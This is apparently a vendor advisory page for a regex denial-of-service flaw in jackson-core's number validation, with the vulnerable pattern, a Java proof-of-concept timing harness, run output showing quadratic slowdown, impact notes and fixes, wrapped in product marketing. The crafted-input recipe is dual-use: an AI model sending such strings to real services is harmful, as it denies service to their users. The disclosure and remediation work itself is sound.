Summary
jackson-core: ReDoS: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber()
Status
FULLY REPRODUCED with a clean, textbook empirical signature: measured runtime grew almost
exactly 4x for every doubling of input size across five consecutive doublings (5,000 → 160,000
characters), confirming O(n²) behavior. A single 160,000-character string (smaller than a typical
HTTP request body) took 74.4 seconds for one call to NumberInput.looksLikeValidNumber().
Affected Component / Version
- Package:
com.fasterxml.jackson.core:jackson-core - Confirmed against:
jackson-core-2.20.2 - Affected file:
src/main/java/com/fasterxml/jackson/core/io/NumberInput.java
(PATTERN_FLOATline ~41-42,PATTERN_FLOAT_TRAILING_DOTline ~51, entry pointlooksLikeValidNumber()lines ~646-656)
Technical Analysis
private final static Pattern PATTERN_FLOAT = Pattern.compile(
"[+-]?[0-9]*[\\.]?[0-9]+([eE][+-]?[0-9]+)?");
private final static Pattern PATTERN_FLOAT_TRAILING_DOT = Pattern.compile(
"[+-]?[0-9]+[\\.]");
public static boolean looksLikeValidNumber(final String s) {
// ... short-circuits only for null/empty/length==1 ...
return PATTERN_FLOAT.matcher(s).matches()
|| PATTERN_FLOAT_TRAILING_DOT.matcher(s).matches();
}
PATTERN_FLOAT contains ambiguous, adjacent quantifiers over the identical character class:[0-9]* (optional digits), an optional [.], then [0-9]+ (required digits). Java's
backtracking Pattern/Matcher engine has no possessive quantifiers or atomic grouping here,
so on a non-matching input the engine must explore every possible split point between the[0-9]* and [0-9]+ groups before concluding failure, the classic quadratic-backtracking
shape. looksLikeValidNumber() compounds the cost by running a second full-string regex
(PATTERN_FLOAT_TRAILING_DOT) whenever the first fails, roughly doubling the constant factor
without changing the asymptotic class.
Critically, the length gate that applies to this specific path isStreamReadConstraints.maxStringLength (default 20,000,000), not maxNumberLength
(default 1,000), the length ceiling the library uses everywhere else for numeric content.
This means inputs up to four orders of magnitude larger than the library's own numeric-length
policy reach this quadratic regex unmodified.
Reproduction Procedure
Same clone/build steps as jackson-core_1_...md. Then:
CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar"
javac -cp "$CP" -d poc poc/PoC8_NumberInputReDoS.java
java -cp "poc:$CP" PoC8_NumberInputReDoS
Full PoC Source (poc/PoC8_NumberInputReDoS.java)
import com.fasterxml.jackson.core.io.NumberInput;
public class PoC8_NumberInputReDoS {
public static void main(String[] args) {
int[] sizes = {5_000, 10_000, 20_000, 40_000, 80_000, 160_000};
long[] timesMs = new long[sizes.length];
System.out.println("Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:\n");
for (int i = 0; i < sizes.length; i++) {
int n = sizes[i];
String s = repeat('1', n) + "x";
if (i == 0) {
NumberInput.looksLikeValidNumber(repeat('1', 200) + "x"); // warm up
}
long t0 = System.nanoTime();
boolean result = NumberInput.looksLikeValidNumber(s);
long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
timesMs[i] = elapsedMs;
System.out.printf("n=%-8d looksLikeValidNumber=%-6b elapsed=%6d ms%n", n, result, elapsedMs);
}
System.out.println("\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):");
boolean quadraticSignatureObserved = false;
for (int i = 1; i < sizes.length; i++) {
double ratio = timesMs[i - 1] == 0 ? Double.NaN : (double) timesMs[i] / (double) timesMs[i - 1];
System.out.printf(" n=%d -> n=%d : %dms -> %dms (ratio=%.2fx)%n",
sizes[i - 1], sizes[i], timesMs[i - 1], timesMs[i], ratio);
if (ratio >= 3.0) quadraticSignatureObserved = true;
}
System.out.println("\nLargest test (n=" + sizes[sizes.length - 1] + ") took " + timesMs[timesMs.length - 1]
+ " ms for a single call from ONE HTTP-body-sized string.");
System.out.println("\ncom.fasterxml.jackson.core.StreamReadConstraints.DEFAULT_MAX_STRING_LENGTH (20,000,000) "
+ "governs this path, not maxNumberLength (1,000).");
if (quadraticSignatureObserved) {
System.out.println("\n=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent "
+ "with quadratic backtracking in PATTERN_FLOAT on non-matching input.");
}
}
static String repeat(char c, int n) {
char[] arr = new char[n];
java.util.Arrays.fill(arr, c);
return new String(arr);
}
}
Captured Evidence (actual run output)
Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:
n=5000 looksLikeValidNumber=false elapsed= 74 ms
n=10000 looksLikeValidNumber=false elapsed= 306 ms
n=20000 looksLikeValidNumber=false elapsed= 1157 ms
n=40000 looksLikeValidNumber=false elapsed= 4655 ms
n=80000 looksLikeValidNumber=false elapsed= 18592 ms
n=160000 looksLikeValidNumber=false elapsed= 74393 ms
Ratio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):
n=5000 -> n=10000 : 74ms -> 306ms (ratio=4.14x)
n=10000 -> n=20000 : 306ms -> 1157ms (ratio=3.78x)
n=20000 -> n=40000 : 1157ms -> 4655ms (ratio=4.02x)
n=40000 -> n=80000 : 4655ms -> 18592ms (ratio=3.99x)
n=80000 -> n=160000 : 18592ms -> 74393ms (ratio=4.00x)
Largest test (n=160000) took 74393 ms for a single call from ONE HTTP-body-sized string.
=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent with quadratic
backtracking in PATTERN_FLOAT on non-matching input.
This is an unusually clean empirical result: five consecutive doublings each produced a ratio
between 3.78x and 4.14x, matching the theoretical O(n²) prediction (ratio = 4.0x) to within
5% at every single measurement, leaving essentially no ambiguity about the complexity class.
Extrapolating this measured curve, a ~1MB string (well within common request body limits) would
take on the order of hours for a single call.
Impact
Any application that coerces a String-typed JSON field to a number (default jackson-databind
behavior) is exposed: an attacker who can submit a large numeric-looking string (up tomaxStringLength's default of 20,000,000 characters, far larger than needed given the
measured curve) can pin a request-handling thread for an extended period with a single request.
Because the cost scales quadratically, a handful of concurrent moderately-sized requests
(tens to low hundreds of KB each) is sufficient to exhaust a typical web server's worker thread
pool, denying service to all users.
Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.
CVE-2026-89407 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.18.11, 2.21.7, 2.22.3, 3.1.7, 3.2.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
- Rewrite
PATTERN_FLOATwithout quantifier ambiguity using possessive quantifiers, e.g.[+-]?(?:[0-9]++(?:\.[0-9]*+)?|\.[0-9]++)(?:[eE][+-]?[0-9]++)?, which also folds in the
trailing-dot case and removes the need for a second full-string scan. - Better: replace the regex entirely with a single-pass hand-written character scan, the same
file already contains exactly this pattern forparseInt, so the library has both the
precedent and the code style available. - Apply an independent length limit (
maxNumberLength, not the much largermaxStringLength) before callinglooksLikeValidNumber(), closing the four-orders-of-
magnitude gap between the two constraints for this specific code path. - Operationally, until fixed: tighten
StreamReadConstraints.maxStringLengthwell below its
default, and set wall-clock timeouts on parse/coercion operations.
Frequently Asked Questions
- What is CVE-2026-89407? CVE-2026-89407 is a high-severity uncontrolled resource consumption vulnerability in com.fasterxml.jackson.core:jackson-core (maven), affecting versions >= 2.17.0, <= 2.18.10. It is fixed in 2.18.11, 2.21.7, 2.22.3, 3.1.7, 3.2.2. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
- How severe is CVE-2026-89407? CVE-2026-89407 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2026-89407?
com.fasterxml.jackson.core:jackson-core(maven) (versions >= 2.17.0, <= 2.18.10)tools.jackson.core:jackson-core(maven) (versions >= 3.0.0, <= 3.1.6)
- Is there a fix for CVE-2026-89407? Yes. CVE-2026-89407 is fixed in 2.18.11, 2.21.7, 2.22.3, 3.1.7, 3.2.2. Upgrade to this version or later.
- Is CVE-2026-89407 exploitable, and should I be worried? Whether CVE-2026-89407 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-89407 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-89407?
- Upgrade
com.fasterxml.jackson.core:jackson-coreto 2.18.11 or later - Upgrade
com.fasterxml.jackson.core:jackson-coreto 2.21.7 or later - Upgrade
com.fasterxml.jackson.core:jackson-coreto 2.22.3 or later - Upgrade
tools.jackson.core:jackson-coreto 3.1.7 or later - Upgrade
tools.jackson.core:jackson-coreto 3.2.2 or later
- Upgrade